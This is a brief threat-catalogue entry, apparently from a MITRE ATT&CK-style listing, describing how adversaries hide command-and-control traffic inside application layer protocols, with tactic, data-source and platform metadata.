Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre